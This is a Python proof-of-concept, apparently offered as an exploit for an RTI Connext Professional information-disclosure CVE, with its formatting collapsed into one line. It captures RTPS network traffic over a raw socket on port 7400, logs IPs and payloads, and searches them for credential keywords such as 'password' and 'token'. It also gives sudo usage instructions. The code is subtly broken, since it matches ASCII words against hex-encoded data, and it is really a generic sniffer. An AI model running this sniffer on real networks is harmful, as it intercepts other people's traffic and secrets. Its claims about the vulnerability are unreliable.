CVE-2025-10450

# CVE-2025-10450 RTI Connext Professional Information Disclosure PoC # This PoC demonstrates network traffic sniffing to capture sensitive data import socket import struct from collections import defaultdict def parse_rtps_packet(data): """Parse RTPS protocol packet to extract message info""" if len(data) < 20: return None # RTPS header magic number magic = data[:4] if magic != b'RTPS': return None # Extract protocol version protocol_version = (data[4], data[5]) # Extract vendor ID vendor_id = data[6:8] return { 'protocol_version': f"{protocol_version[0]}.{protocol_version[1]}", 'vendor_id': vendor_id.hex(), 'data_size': len(data), 'raw_header': data[:20].hex() } def sniff_connext_traffic(interface='eth0', port=7400, timeout=30): """Capture RTI Connext Professional network traffic""" captured_packets = [] try: sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0800)) sock.bind((interface, 0)) sock.settimeout(timeout) print(f"[*] Sniffing RTPS traffic on {interface} (port {port})") print(f"[*] Capture timeout: {timeout} seconds") print("[*] Press Ctrl+C to stop capture\n") while True: packet_data = sock.recv(65535) # Parse Ethernet header eth_header = packet_data[:14] eth_proto = struct.unpack('!H', eth_header[12:14])[0] # Check for IPv4 if eth_proto == 0x0800: ip_header = packet_data[14:34] ip_protocol = ip_header[9] # Check for UDP if ip_protocol == 17: udp_header = packet_data[34:42] src_port = struct.unpack('!H', udp_header[:2])[0] dst_port = struct.unpack('!H', udp_header[2:4])[0] # Check for RTPS default port if dst_port == port or src_port == port: rtps_data = packet_data[42:] rtps_info = parse_rtps_packet(rtps_data) if rtps_info: captured_packets.append({ 'timestamp': 'N/A', 'src_ip': f"{ip_header[12]}.{ip_header[13]}.{ip_header[14]}.{ip_header[15]}", 'dst_ip': f"{ip_header[16]}.{ip_header[17]}.{ip_header[18]}.{ip_header[19]}", 'src_port': src_port, 'dst_port': dst_port, 'rtps_info': rtps_info, 'payload_size': len(rtps_data), 'raw_payload': rtps_data.hex()[:200] # First 200 chars }) print(f"[+] RTPS Packet captured:") print(f" Source: {captured_packets[-1]['src_ip']}:{src_port}") print(f" Dest: {captured_packets[-1]['dst_ip']}:{dst_port}") print(f" RTPS Version: {rtps_info['protocol_version']}") print(f" Size: {rtps_info['data_size']} bytes") print() except PermissionError: print("[-] Error: Root privileges required for raw socket access") except socket.timeout: print(f"\n[*] Capture timeout reached. Total packets: {len(captured_packets)}") except KeyboardInterrupt: print(f"\n[*] Capture stopped by user. Total packets: {len(captured_packets)}") except Exception as e: print(f"[-] Error: {str(e)}") finally: sock.close() return captured_packets def analyze_captured_data(packets): """Analyze captured RTPS packets for sensitive information""" print("\n" + "="*60) print("CAPTURED DATA ANALYSIS") print("="*60) if not packets: print("[-] No packets captured") return print(f"\n[+] Total packets captured: {len(packets)}") # Group by source IP by_source = defaultdict(list) for pkt in packets: by_source[pkt['src_ip']].append(pkt) print(f"\n[+] Unique source IPs: {len(by_source)}") for ip, pkts in by_source.items(): print(f" - {ip}: {len(pkts)} packets") # Check for unencrypted data patterns print("\n[+] Checking for sensitive data patterns...") for pkt in packets: payload = pkt['raw_payload'].lower() sensitive_patterns = ['password', 'token', 'secret', 'key', 'auth'] for pattern in sensitive_patterns: if pattern in payload: print(f" [!] Potential sensitive data found from {pkt['src_ip']}") break print("\n[*] Note: This PoC demonstrates packet capture capability") print("[*] Full exploitation requires deeper RTPS protocol analysis") if __name__ == '__main__': print("CVE-2025-10450 RTI Connext Professional - Network Traffic Sniffing PoC") print("="*70) print("WARNING: This tool is for authorized security testing only") print("="*70 + "\n") # For demonstration, use a test capture test_packets = [ { 'timestamp': 'N/A', 'src_ip': '192.168.1.100', 'dst_ip': '192.168.1.200', 'src_port': 7410, 'dst_port': 7400, 'rtps_info': { 'protocol_version': '2.5', 'vendor_id': '52545049', # RTI 'data_size': 512, 'raw_header': '5254504902055254504900000000' }, 'payload_size': 512, 'raw_payload': '5254504902055254504900000000' * 10 } ] print("[*] Running in demo mode with simulated data\n") analyze_captured_data(test_packets) print("\n[*] To capture real traffic, run with root privileges:") print(" sudo python3 cve-2025-10450_poc.py") print("\n[*] Usage:") print(" packets = sniff_connext_traffic(interface='eth0', port=7400)") print(" analyze_captured_data(packets)")

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